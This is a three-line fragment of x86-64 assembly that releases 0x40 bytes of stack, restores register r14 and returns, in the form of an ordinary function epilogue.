add rsp, 0x40
pop r14
ret